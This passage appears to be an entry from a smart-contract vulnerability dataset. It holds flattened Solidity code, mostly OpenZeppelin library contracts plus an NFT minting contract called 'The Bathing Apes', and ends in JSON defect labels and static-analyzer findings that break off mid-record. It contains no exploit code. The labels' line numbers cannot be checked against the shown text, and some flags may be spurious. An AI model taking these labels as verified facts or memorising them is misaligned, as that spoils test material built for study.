memory) { require(isContract(target), "Address: static call to non-contract"); (bool success, bytes memory returndata) = target.staticcall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Same as {xref-Address-functionCall-address-bytes-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall(address target, bytes memory data) internal returns (bytes memory) { return functionDelegateCall(target, data, "Address: low-level delegate call failed"); } /** * @dev Same as {xref-Address-functionCall-address-bytes-string-}[`functionCall`], * but performing a delegate call. * * _Available since v3.4._ */ function functionDelegateCall( address target, bytes memory data, string memory errorMessage ) internal returns (bytes memory) { require(isContract(target), "Address: delegate call to non-contract"); (bool success, bytes memory returndata) = target.delegatecall(data); return verifyCallResult(success, returndata, errorMessage); } /** * @dev Tool to verifies that a low level call was successful, and revert if it wasn't, either by bubbling the * revert reason using the provided one. * * _Available since v4.3._ */ function verifyCallResult( bool success, bytes memory returndata, string memory errorMessage ) internal pure returns (bytes memory) { if (success) { return returndata; } else { // Look for revert reason and bubble it up if present if (returndata.length > 0) { // The easiest way to bubble the revert reason is using memory via assembly assembly { let returndata_size := mload(returndata) revert(add(32, returndata), returndata_size) } } else { revert(errorMessage); } } } } // File: @openzeppelin/contracts/token/ERC20/utils/SafeERC20.sol // OpenZeppelin Contracts v4.4.1 (token/ERC20/utils/SafeERC20.sol) pragma solidity ^0.8.0; /** * @title SafeERC20 * @dev Wrappers around ERC20 operations that throw on failure (when the token * contract returns false). Tokens that return no value (and instead revert or * throw on failure) are also supported, non-reverting calls are assumed to be * successful. * To use this library you can add a `using SafeERC20 for IERC20;` statement to your contract, * which allows you to call the safe operations as `token.safeTransfer(...)`, etc. */ library SafeERC20 { using Address for address; function safeTransfer( IERC20 token, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transfer.selector, to, value)); } function safeTransferFrom( IERC20 token, address from, address to, uint256 value ) internal { _callOptionalReturn(token, abi.encodeWithSelector(token.transferFrom.selector, from, to, value)); } /** * @dev Deprecated. This function has issues similar to the ones found in * {IERC20-approve}, and its usage is discouraged. * * Whenever possible, use {safeIncreaseAllowance} and * {safeDecreaseAllowance} instead. */ function safeApprove( IERC20 token, address spender, uint256 value ) internal { // safeApprove should only be called when setting an initial allowance, // or when resetting it to zero. To increase and decrease it, use // 'safeIncreaseAllowance' and 'safeDecreaseAllowance' require( (value == 0) || (token.allowance(address(this), spender) == 0), "SafeERC20: approve from non-zero to non-zero allowance" ); _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, value)); } function safeIncreaseAllowance( IERC20 token, address spender, uint256 value ) internal { uint256 newAllowance = token.allowance(address(this), spender) + value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } function safeDecreaseAllowance( IERC20 token, address spender, uint256 value ) internal { unchecked { uint256 oldAllowance = token.allowance(address(this), spender); require(oldAllowance >= value, "SafeERC20: decreased allowance below zero"); uint256 newAllowance = oldAllowance - value; _callOptionalReturn(token, abi.encodeWithSelector(token.approve.selector, spender, newAllowance)); } } /** * @dev Imitates a Solidity high-level call (i.e. a regular function call to a contract), relaxing the requirement * on the return value: the return value is optional (but if data is returned, it must not be false). * @param token The token targeted by the call. * @param data The call data (encoded using abi.encode or one of its variants). */ function _callOptionalReturn(IERC20 token, bytes memory data) private { // We need to perform a low level call here, to bypass Solidity's return data size checking mechanism, since // we're implementing it ourselves. We use {Address.functionCall} to perform this call, which verifies that // the target address contains contract code and also asserts for success in the low-level call. bytes memory returndata = address(token).functionCall(data, "SafeERC20: low-level call failed"); if (returndata.length > 0) { // Return data is optional require(abi.decode(returndata, (bool)), "SafeERC20: ERC20 operation did not succeed"); } } } // File: @openzeppelin/contracts/finance/PaymentSplitter.sol // OpenZeppelin Contracts v4.4.1 (finance/PaymentSplitter.sol) pragma solidity ^0.8.0; /** * @title PaymentSplitter * @dev This contract allows to split Ether payments among a group of accounts. The sender does not need to be aware * that the Ether will be split in this way, since it is handled transparently by the contract. * * The split can be in equal parts or in any other arbitrary proportion. The way this is specified is by assigning each * account to a number of shares. Of all the Ether that this contract receives, each account will then be able to claim * an amount proportional to the percentage of total shares they were assigned. * * `PaymentSplitter` follows a _pull payment_ model. This means that payments are not automatically forwarded to the * accounts but kept in this contract, and the actual transfer is triggered as a separate step by calling the {release} * function. * * NOTE: This contract assumes that ERC20 tokens will behave similarly to native tokens (Ether). Rebasing tokens, and * tokens that apply fees during transfers, are likely to not be supported as expected. If in doubt, we encourage you * to run tests before sending real value to this contract. */ contract PaymentSplitter is Context { event PayeeAdded(address account, uint256 shares); event PaymentReleased(address to, uint256 amount); event ERC20PaymentReleased(IERC20 indexed token, address to, uint256 amount); event PaymentReceived(address from, uint256 amount); uint256 private _totalShares; uint256 private _totalReleased; mapping(address => uint256) private _shares; mapping(address => uint256) private _released; address[] private _payees; mapping(IERC20 => uint256) private _erc20TotalReleased; mapping(IERC20 => mapping(address => uint256)) private _erc20Released; /** * @dev Creates an instance of `PaymentSplitter` where each account in `payees` is assigned the number of shares at * the matching position in the `shares` array. * * All addresses in `payees` must be non-zero. Both arrays must have the same non-zero length, and there must be no * duplicates in `payees`. */ constructor(address[] memory payees, uint256[] memory shares_) payable { require(payees.length == shares_.length, "PaymentSplitter: payees and shares length mismatch"); require(payees.length > 0, "PaymentSplitter: no payees"); for (uint256 i = 0; i < payees.length; i++) { _addPayee(payees[i], shares_[i]); } } /** * @dev The Ether received will be logged with {PaymentReceived} events. Note that these events are not fully * reliable: it's possible for a contract to receive Ether without triggering this function. This only affects the * reliability of the events, and not the actual splitting of Ether. * * To learn more about this see the Solidity documentation for * https://solidity.readthedocs.io/en/latest/contracts.html#fallback-function[fallback * functions]. */ receive() external payable virtual { emit PaymentReceived(_msgSender(), msg.value); } /** * @dev Getter for the total shares held by payees. */ function totalShares() public view returns (uint256) { return _totalShares; } /** * @dev Getter for the total amount of Ether already released. */ function totalReleased() public view returns (uint256) { return _totalReleased; } /** * @dev Getter for the total amount of `token` already released. `token` should be the address of an IERC20 * contract. */ function totalReleased(IERC20 token) public view returns (uint256) { return _erc20TotalReleased[token]; } /** * @dev Getter for the amount of shares held by an account. */ function shares(address account) public view returns (uint256) { return _shares[account]; } /** * @dev Getter for the amount of Ether already released to a payee. */ function released(address account) public view returns (uint256) { return _released[account]; } /** * @dev Getter for the amount of `token` tokens already released to a payee. `token` should be the address of an * IERC20 contract. */ function released(IERC20 token, address account) public view returns (uint256) { return _erc20Released[token][account]; } /** * @dev Getter for the address of the payee number `index`. */ function payee(uint256 index) public view returns (address) { return _payees[index]; } /** * @dev Triggers a transfer to `account` of the amount of Ether they are owed, according to their percentage of the * total shares and their previous withdrawals. */ function release(address payable account) public virtual { require(_shares[account] > 0, "PaymentSplitter: account has no shares"); uint256 totalReceived = address(this).balance + totalReleased(); uint256 payment = _pendingPayment(account, totalReceived, released(account)); require(payment != 0, "PaymentSplitter: account is not due payment"); _released[account] += payment; _totalReleased += payment; Address.sendValue(account, payment); emit PaymentReleased(account, payment); } /** * @dev Triggers a transfer to `account` of the amount of `token` tokens they are owed, according to their * percentage of the total shares and their previous withdrawals. `token` must be the address of an IERC20 * contract. */ function release(IERC20 token, address account) public virtual { require(_shares[account] > 0, "PaymentSplitter: account has no shares"); uint256 totalReceived = token.balanceOf(address(this)) + totalReleased(token); uint256 payment = _pendingPayment(account, totalReceived, released(token, account)); require(payment != 0, "PaymentSplitter: account is not due payment"); _erc20Released[token][account] += payment; _erc20TotalReleased[token] += payment; SafeERC20.safeTransfer(token, account, payment); emit ERC20PaymentReleased(token, account, payment); } /** * @dev internal logic for computing the pending payment of an `account` given the token historical balances and * already released amounts. */ function _pendingPayment( address account, uint256 totalReceived, uint256 alreadyReleased ) private view returns (uint256) { return (totalReceived * _shares[account]) / _totalShares - alreadyReleased; } /** * @dev Add a new payee to the contract. * @param account The address of the payee to add. * @param shares_ The number of shares owned by the payee. */ function _addPayee(address account, uint256 shares_) private { require(account != address(0), "PaymentSplitter: account is the zero address"); require(shares_ > 0, "PaymentSplitter: shares are 0"); require(_shares[account] == 0, "PaymentSplitter: account already has shares"); _payees.push(account); _shares[account] = shares_; _totalShares = _totalShares + shares_; emit PayeeAdded(account, shares_); } } // File: @openzeppelin/contracts/token/ERC721/IERC721Receiver.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721Receiver.sol) pragma solidity ^0.8.0; /** * @title ERC721 token receiver interface * @dev Interface for any contract that wants to support safeTransfers * from ERC721 asset contracts. */ interface IERC721Receiver { /** * @dev Whenever an {IERC721} `tokenId` token is transferred to this contract via {IERC721-safeTransferFrom} * by `operator` from `from`, this function is called. * * It must return its Solidity selector to confirm the token transfer. * If any other value is returned or the interface is not implemented by the recipient, the transfer will be reverted. * * The selector can be obtained in Solidity with `IERC721.onERC721Received.selector`. */ function onERC721Received( address operator, address from, uint256 tokenId, bytes calldata data ) external returns (bytes4); } // File: @openzeppelin/contracts/utils/introspection/IERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/IERC165.sol) pragma solidity ^0.8.0; /** * @dev Interface of the ERC165 standard, as defined in the * https://eips.ethereum.org/EIPS/eip-165[EIP]. * * Implementers can declare support of contract interfaces, which can then be * queried by others ({ERC165Checker}). * * For an implementation, see {ERC165}. */ interface IERC165 { /** * @dev Returns true if this contract implements the interface defined by * `interfaceId`. See the corresponding * https://eips.ethereum.org/EIPS/eip-165#how-interfaces-are-identified[EIP section] * to learn more about how these ids are created. * * This function call must use less than 30 000 gas. */ function supportsInterface(bytes4 interfaceId) external view returns (bool); } // File: @openzeppelin/contracts/utils/introspection/ERC165.sol // OpenZeppelin Contracts v4.4.1 (utils/introspection/ERC165.sol) pragma solidity ^0.8.0; /** * @dev Implementation of the {IERC165} interface. * * Contracts that want to implement ERC165 should inherit from this contract and override {supportsInterface} to check * for the additional interface id that will be supported. For example: * * ```solidity * function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { * return interfaceId == type(MyInterface).interfaceId || super.supportsInterface(interfaceId); * } * ``` * * Alternatively, {ERC165Storage} provides an easier to use but more expensive implementation. */ abstract contract ERC165 is IERC165 { /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override returns (bool) { return interfaceId == type(IERC165).interfaceId; } } // File: @openzeppelin/contracts/token/ERC721/IERC721.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/IERC721.sol) pragma solidity ^0.8.0; /** * @dev Required interface of an ERC721 compliant contract. */ interface IERC721 is IERC165 { /** * @dev Emitted when `tokenId` token is transferred from `from` to `to`. */ event Transfer(address indexed from, address indexed to, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables `approved` to manage the `tokenId` token. */ event Approval(address indexed owner, address indexed approved, uint256 indexed tokenId); /** * @dev Emitted when `owner` enables or disables (`approved`) `operator` to manage all of its assets. */ event ApprovalForAll(address indexed owner, address indexed operator, bool approved); /** * @dev Returns the number of tokens in ``owner``'s account. */ function balanceOf(address owner) external view returns (uint256 balance); /** * @dev Returns the owner of the `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function ownerOf(uint256 tokenId) external view returns (address owner); /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be have been allowed to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Transfers `tokenId` token from `from` to `to`. * * WARNING: Usage of this method is discouraged, use {safeTransferFrom} whenever possible. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * * Emits a {Transfer} event. */ function transferFrom( address from, address to, uint256 tokenId ) external; /** * @dev Gives permission to `to` to transfer `tokenId` token to another account. * The approval is cleared when the token is transferred. * * Only a single account can be approved at a time, so approving the zero address clears previous approvals. * * Requirements: * * - The caller must own the token or be an approved operator. * - `tokenId` must exist. * * Emits an {Approval} event. */ function approve(address to, uint256 tokenId) external; /** * @dev Returns the account approved for `tokenId` token. * * Requirements: * * - `tokenId` must exist. */ function getApproved(uint256 tokenId) external view returns (address operator); /** * @dev Approve or remove `operator` as an operator for the caller. * Operators can call {transferFrom} or {safeTransferFrom} for any token owned by the caller. * * Requirements: * * - The `operator` cannot be the caller. * * Emits an {ApprovalForAll} event. */ function setApprovalForAll(address operator, bool _approved) external; /** * @dev Returns if the `operator` is allowed to manage all of the assets of `owner`. * * See {setApprovalForAll} */ function isApprovedForAll(address owner, address operator) external view returns (bool); /** * @dev Safely transfers `tokenId` token from `from` to `to`. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If the caller is not `from`, it must be approved to move this token by either {approve} or {setApprovalForAll}. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes calldata data ) external; } // File: @openzeppelin/contracts/token/ERC721/extensions/IERC721Metadata.sol // OpenZeppelin Contracts v4.4.1 (token/ERC721/extensions/IERC721Metadata.sol) pragma solidity ^0.8.0; /** * @title ERC-721 Non-Fungible Token Standard, optional metadata extension * @dev See https://eips.ethereum.org/EIPS/eip-721 */ interface IERC721Metadata is IERC721 { /** * @dev Returns the token collection name. */ function name() external view returns (string memory); /** * @dev Returns the token collection symbol. */ function symbol() external view returns (string memory); /** * @dev Returns the Uniform Resource Identifier (URI) for `tokenId` token. */ function tokenURI(uint256 tokenId) external view returns (string memory); } // File: @openzeppelin/contracts/token/ERC721/ERC721.sol // OpenZeppelin Contracts (last updated v4.5.0) (token/ERC721/ERC721.sol) pragma solidity ^0.8.0; /** * @dev Implementation of https://eips.ethereum.org/EIPS/eip-721[ERC721] Non-Fungible Token Standard, including * the Metadata extension, but not including the Enumerable extension, which is available separately as * {ERC721Enumerable}. */ contract ERC721 is Context, ERC165, IERC721, IERC721Metadata { using Address for address; using Strings for uint256; // Token name string private _name; // Token symbol string private _symbol; // Mapping from token ID to owner address mapping(uint256 => address) private _owners; // Mapping owner address to token count mapping(address => uint256) private _balances; // Mapping from token ID to approved address mapping(uint256 => address) private _tokenApprovals; // Mapping from owner to operator approvals mapping(address => mapping(address => bool)) private _operatorApprovals; /** * @dev Initializes the contract by setting a `name` and a `symbol` to the token collection. */ constructor(string memory name_, string memory symbol_) { _name = name_; _symbol = symbol_; } /** * @dev See {IERC165-supportsInterface}. */ function supportsInterface(bytes4 interfaceId) public view virtual override(ERC165, IERC165) returns (bool) { return interfaceId == type(IERC721).interfaceId || interfaceId == type(IERC721Metadata).interfaceId || super.supportsInterface(interfaceId); } /** * @dev See {IERC721-balanceOf}. */ function balanceOf(address owner) public view virtual override returns (uint256) { require(owner != address(0), "ERC721: balance query for the zero address"); return _balances[owner]; } /** * @dev See {IERC721-ownerOf}. */ function ownerOf(uint256 tokenId) public view virtual override returns (address) { address owner = _owners[tokenId]; require(owner != address(0), "ERC721: owner query for nonexistent token"); return owner; } /** * @dev See {IERC721Metadata-name}. */ function name() public view virtual override returns (string memory) { return _name; } /** * @dev See {IERC721Metadata-symbol}. */ function symbol() public view virtual override returns (string memory) { return _symbol; } /** * @dev See {IERC721Metadata-tokenURI}. */ function tokenURI(uint256 tokenId) public view virtual override returns (string memory) { require(_exists(tokenId), "ERC721Metadata: URI query for nonexistent token"); string memory baseURI = _baseURI(); return bytes(baseURI).length > 0 ? string(abi.encodePacked(baseURI, tokenId.toString())) : ""; } /** * @dev Base URI for computing {tokenURI}. If set, the resulting URI for each * token will be the concatenation of the `baseURI` and the `tokenId`. Empty * by default, can be overriden in child contracts. */ function _baseURI() internal view virtual returns (string memory) { return ""; } /** * @dev See {IERC721-approve}. */ function approve(address to, uint256 tokenId) public virtual override { address owner = ERC721.ownerOf(tokenId); require(to != owner, "ERC721: approval to current owner"); require( _msgSender() == owner || isApprovedForAll(owner, _msgSender()), "ERC721: approve caller is not owner nor approved for all" ); _approve(to, tokenId); } /** * @dev See {IERC721-getApproved}. */ function getApproved(uint256 tokenId) public view virtual override returns (address) { require(_exists(tokenId), "ERC721: approved query for nonexistent token"); return _tokenApprovals[tokenId]; } /** * @dev See {IERC721-setApprovalForAll}. */ function setApprovalForAll(address operator, bool approved) public virtual override { _setApprovalForAll(_msgSender(), operator, approved); } /** * @dev See {IERC721-isApprovedForAll}. */ function isApprovedForAll(address owner, address operator) public view virtual override returns (bool) { return _operatorApprovals[owner][operator]; } /** * @dev See {IERC721-transferFrom}. */ function transferFrom( address from, address to, uint256 tokenId ) public virtual override { //solhint-disable-next-line max-line-length require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _transfer(from, to, tokenId); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId ) public virtual override { safeTransferFrom(from, to, tokenId, ""); } /** * @dev See {IERC721-safeTransferFrom}. */ function safeTransferFrom( address from, address to, uint256 tokenId, bytes memory _data ) public virtual override { require(_isApprovedOrOwner(_msgSender(), tokenId), "ERC721: transfer caller is not owner nor approved"); _safeTransfer(from, to, tokenId, _data); } /** * @dev Safely transfers `tokenId` token from `from` to `to`, checking first that contract recipients * are aware of the ERC721 protocol to prevent tokens from being forever locked. * * `_data` is additional data, it has no specified format and it is sent in call to `to`. * * This internal function is equivalent to {safeTransferFrom}, and can be used to e.g. * implement alternative mechanisms to perform token transfer, such as signature-based. * * Requirements: * * - `from` cannot be the zero address. * - `to` cannot be the zero address. * - `tokenId` token must exist and be owned by `from`. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeTransfer( address from, address to, uint256 tokenId, bytes memory _data ) internal virtual { _transfer(from, to, tokenId); require(_checkOnERC721Received(from, to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer"); } /** * @dev Returns whether `tokenId` exists. * * Tokens can be managed by their owner or approved accounts via {approve} or {setApprovalForAll}. * * Tokens start existing when they are minted (`_mint`), * and stop existing when they are burned (`_burn`). */ function _exists(uint256 tokenId) internal view virtual returns (bool) { return _owners[tokenId] != address(0); } /** * @dev Returns whether `spender` is allowed to manage `tokenId`. * * Requirements: * * - `tokenId` must exist. */ function _isApprovedOrOwner(address spender, uint256 tokenId) internal view virtual returns (bool) { require(_exists(tokenId), "ERC721: operator query for nonexistent token"); address owner = ERC721.ownerOf(tokenId); return (spender == owner || getApproved(tokenId) == spender || isApprovedForAll(owner, spender)); } /** * @dev Safely mints `tokenId` and transfers it to `to`. * * Requirements: * * - `tokenId` must not exist. * - If `to` refers to a smart contract, it must implement {IERC721Receiver-onERC721Received}, which is called upon a safe transfer. * * Emits a {Transfer} event. */ function _safeMint(address to, uint256 tokenId) internal virtual { _safeMint(to, tokenId, ""); } /** * @dev Same as {xref-ERC721-_safeMint-address-uint256-}[`_safeMint`], with an additional `data` parameter which is * forwarded in {IERC721Receiver-onERC721Received} to contract recipients. */ function _safeMint( address to, uint256 tokenId, bytes memory _data ) internal virtual { _mint(to, tokenId); require( _checkOnERC721Received(address(0), to, tokenId, _data), "ERC721: transfer to non ERC721Receiver implementer" ); } /** * @dev Mints `tokenId` and transfers it to `to`. * * WARNING: Usage of this method is discouraged, use {_safeMint} whenever possible * * Requirements: * * - `tokenId` must not exist. * - `to` cannot be the zero address. * * Emits a {Transfer} event. */ function _mint(address to, uint256 tokenId) internal virtual { require(to != address(0), "ERC721: mint to the zero address"); require(!_exists(tokenId), "ERC721: token already minted"); _beforeTokenTransfer(address(0), to, tokenId); _balances[to] += 1; _owners[tokenId] = to; emit Transfer(address(0), to, tokenId); _afterTokenTransfer(address(0), to, tokenId); } /** * @dev Destroys `tokenId`. * The approval is cleared when the token is burned. * * Requirements: * * - `tokenId` must exist. * * Emits a {Transfer} event. */ function _burn(uint256 tokenId) internal virtual { address owner = ERC721.ownerOf(tokenId); _beforeTokenTransfer(owner, address(0), tokenId); // Clear approvals _approve(address(0), tokenId); _balances[owner] -= 1; delete _owners[tokenId]; emit Transfer(owner, address(0), tokenId); _afterTokenTransfer(owner, address(0), tokenId); } /** * @dev Transfers `tokenId` from `from` to `to`. * As opposed to {transferFrom}, this imposes no restrictions on msg.sender. * * Requirements: * * - `to` cannot be the zero address. * - `tokenId` token must be owned by `from`. * * Emits a {Transfer} event. */ function _transfer( address from, address to, uint256 tokenId ) internal virtual { require(ERC721.ownerOf(tokenId) == from, "ERC721: transfer from incorrect owner"); require(to != address(0), "ERC721: transfer to the zero address"); _beforeTokenTransfer(from, to, tokenId); // Clear approvals from the previous owner _approve(address(0), tokenId); _balances[from] -= 1; _balances[to] += 1; _owners[tokenId] = to; emit Transfer(from, to, tokenId); _afterTokenTransfer(from, to, tokenId); } /** * @dev Approve `to` to operate on `tokenId` * * Emits a {Approval} event. */ function _approve(address to, uint256 tokenId) internal virtual { _tokenApprovals[tokenId] = to; emit Approval(ERC721.ownerOf(tokenId), to, tokenId); } /** * @dev Approve `operator` to operate on all of `owner` tokens * * Emits a {ApprovalForAll} event. */ function _setApprovalForAll( address owner, address operator, bool approved ) internal virtual { require(owner != operator, "ERC721: approve to caller"); _operatorApprovals[owner][operator] = approved; emit ApprovalForAll(owner, operator, approved); } /** * @dev Internal function to invoke {IERC721Receiver-onERC721Received} on a target address. * The call is not executed if the target address is not a contract. * * @param from address representing the previous owner of the given token ID * @param to target address that will receive the tokens * @param tokenId uint256 ID of the token to be transferred * @param _data bytes optional data to send along with the call * @return bool whether the call correctly returned the expected magic value */ function _checkOnERC721Received( address from, address to, uint256 tokenId, bytes memory _data ) private returns (bool) { if (to.isContract()) { try IERC721Receiver(to).onERC721Received(_msgSender(), from, tokenId, _data) returns (bytes4 retval) { return retval == IERC721Receiver.onERC721Received.selector; } catch (bytes memory reason) { if (reason.length == 0) { revert("ERC721: transfer to non ERC721Receiver implementer"); } else { assembly { revert(add(32, reason), mload(reason)) } } } } else { return true; } } /** * @dev Hook that is called before any token transfer. This includes minting * and burning. * * Calling conditions: * * - When `from` and `to` are both non-zero, ``from``'s `tokenId` will be * transferred to `to`. * - When `from` is zero, `tokenId` will be minted for `to`. * - When `to` is zero, ``from``'s `tokenId` will be burned. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _beforeTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} /** * @dev Hook that is called after any transfer of tokens. This includes * minting and burning. * * Calling conditions: * * - when `from` and `to` are both non-zero. * - `from` and `to` are never both zero. * * To learn more about hooks, head to xref:ROOT:extending-contracts.adoc#using-hooks[Using Hooks]. */ function _afterTokenTransfer( address from, address to, uint256 tokenId ) internal virtual {} } // File: TBA.sol pragma solidity ^0.8.11; contract TheBathingApes is ERC721, Ownable, PaymentSplitter { using Counters for Counters.Counter; using SafeMath for uint256; Counters.Counter private _tokenIdCounter; //---------Variables------------- // Max amount of tokens uint256 public maxAmntTokens; // Max amount of tokens per transaction uint256 public maxTknPerTxs; // Amount of Genesis NFTs uint256 public amntGenesisNfts; // Amount of NON Genesis NFTs uint256 public amntNonGenesisNfts; // Price per NFT uint256 public price; // Price genesis per NFT uint256 public priceGenesis; // URI control string newURI; // Sale is active bool public saleIsActive; // URI locked bool public URIlocked; // Genesis mint control bool public isGenesisActive; constructor(address[] memory _payees, uint256[] memory _shares) ERC721("The Bathing Apes", "TBA") PaymentSplitter(_payees, _shares) payable { // Max amount of tokens maxAmntTokens = 10000; // Max tokens per transaction maxTknPerTxs = 20; // Price genesis per NFT in wei priceGenesis = 100000000000000000 wei; // Deactivate sale saleIsActive = false; // Unlock URI URIlocked = false; // Amount of Genesis NFTs amntGenesisNfts = 500; // Amount of NON Genesis NFTs amntNonGenesisNfts = 9500; // Genesis mint control isGenesisActive = true; } // Set price for non genesis NFTs function setPrice(uint256 _priceInWei) public onlyOwner { price = _priceInWei; } // Total supply for etherscan function totalSupply() public view returns (uint256) { return maxAmntTokens; } // Flip sale state function flipSaleState() public onlyOwner { saleIsActive = !saleIsActive; } // Flip Genesis state function flipGenesisState() public onlyOwner { isGenesisActive = !isGenesisActive; } // Reserve NFTs, this won't cost ETH function reserveNFT(uint256 reservedTokens)public onlyOwner{ require ((reservedTokens.add(checkMintedTokens()) <= maxAmntTokens), "You are minting more NFTs than there are available, mint less tokens!"); require (reservedTokens <= 20, "Sorry, the max amount of reserved tokens per transaction is set to 20"); for (uint i=0; i<reservedTokens; i++){ safeMint(msg.sender); } } // Modify URI function changeURI(string calldata _newURI) public onlyOwner{ require (URIlocked == false, "URI locked, you can't change it anymore"); newURI = _newURI; } // Lock URI function lockURI() public onlyOwner { require(URIlocked == false, "URI already locked"); URIlocked = true; } // Base URI function, this won't be callable, you will use the changeURI function instead function _baseURI() internal view override returns (string memory) { return newURI; } // Base mint function, this won't be callable, you will use the mintNFT function instead function safeMint(address to) internal{ _safeMint(to, _tokenIdCounter.current()); _tokenIdCounter.increment(); } // Check amount of already minted NFTs function checkMintedTokens() public view returns(uint256) { return(_tokenIdCounter._value); } // Function to mint tokens, this is the function that you are going to use // instead of safeMint function mintNFT(uint256 amountTokens) public payable { // Requires that the sale state is active require(saleIsActive, "Sale is not active at this moment"); // If Genesis mint is active if (isGenesisActive) { require ((amountTokens.add(checkMintedTokens()) <= amntGenesisNfts) , "You are minting more Genesis NFTs than there are available, mint less tokens!"); require (amountTokens <= maxTknPerTxs, "Sorry, the max amount of tokens per transaction is set to 20"); // Requires the correct amount of ETH require (msg.value == (priceGenesis.mul(amountTokens)), "Amount of Ether incorrect, try again."); } // If Genesis mint is not active else { require (price > 0, "Price can't be 0"); // Requires that the amount of tokens user wants to mint + already minted tokens don't surpass the available tokens require ((amountTokens.add(checkMintedTokens()) <= amntNonGenesisNfts.add(amntGenesisNfts)), "You are minting more NFTs than there are available, mint less tokens!"); require (amountTokens <= maxTknPerTxs, "Sorry, the max amount of tokens per transaction is set to 20"); // Requires the correct amount of ETH require (msg.value == (price.mul(amountTokens)), "Amount of Ether incorrect, try again."); } // Internal mint function for (uint i=0; i<amountTokens; i++){ safeMint(msg.sender); } } }
[{"defect": "Nest_Call", "type": "Business_logic", "severity": "High", "lines": ["1849", "1909", "917"]}, {"defect": "DelegateCall", "type": "Function_call", "severity": "High", "lines": ["729"]}, {"defect": "Frozen_Ether", "type": "Code_specification", "severity": "Medium", "lines": ["1777"]}, {"defect": "Unused_state_variable", "type": "Code_specification", "severity": "Low", "lines": ["385", "531", "407"]}, {"defect": "Balance_manipulation", "type": "Business_logic", "severity": "Medium", "lines": ["1380"]}, {"defect": "Exceed_authority_access", "type": "Access_control", "severity": "Medium", "lines": ["506", "1175", "491", "517", "1384", "1695"]}, {"defect": "Integer_overflow_and_underflow", "type": "Code_specification", "severity": "High", "lines": ["999", "1049", "998", "1019", "1018", "1662", "1661", "1603", "1629", "993", "1013"]}]
[{"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"TheBathingApes.sol": [1720, 1718, 1719]}}, {"check": "assembly", "impact": "Informational", "confidence": "High", "lines": {"TheBathingApes.sol": [752, 753, 754, 751]}}, {"check": "boolean-equal", "impact": "Informational", "confidence": "High", "lines": {"TheBathingApes.sol": [1862]}}, {"check": "boolean-equal", "impact": "Informational", "confidence": "High", "lines": {"TheBathingApes.sol": [1856]}}, {"check": "pragma", "impact": "Informational", "confidence": "High", "lines": {"TheBathingApes.sol": [1769]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"TheBathingApes.sol": [419, 420, 421, 422, 423, 424, 425, 426, 427, 428, 429]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"TheBathingApes.sol": [194, 195, 196]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"TheBathingApes.sol": [151, 152, 153, 154, 155, 156]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"TheBathingApes.sol": [652, 653, 654, 655, 656, 657, 658]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"TheBathingApes.sol": [163, 164, 165, 166, 167, 168]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"TheBathingApes.sol": [722, 723, 724, 725, 726, 727, 728, 729, 730, 731]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"TheBathingApes.sol": [256, 257, 258, 259, 260, 261, 262, 263, 264, 255]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"TheBathingApes.sol": [403, 404, 405, 406, 407, 408, 409, 410, 411, 412, 413, 414]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"TheBathingApes.sol": [1632, 1633, 1634, 1635, 1621, 1622, 1623, 1624, 1625, 1626, 1627, 1628, 1629, 1630, 1631]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"TheBathingApes.sol": [712, 713, 714]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"TheBathingApes.sol": [822, 823, 824, 825, 826, 827, 828, 829]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", "lines": {"TheBathingApes.sol": [807, 808, 809, 810, 811, 812, 813, 814, 815, 816, 817, 818, 819, 820]}}, {"check": "dead-code", "impact": "Informational", "confidence": "Medium", 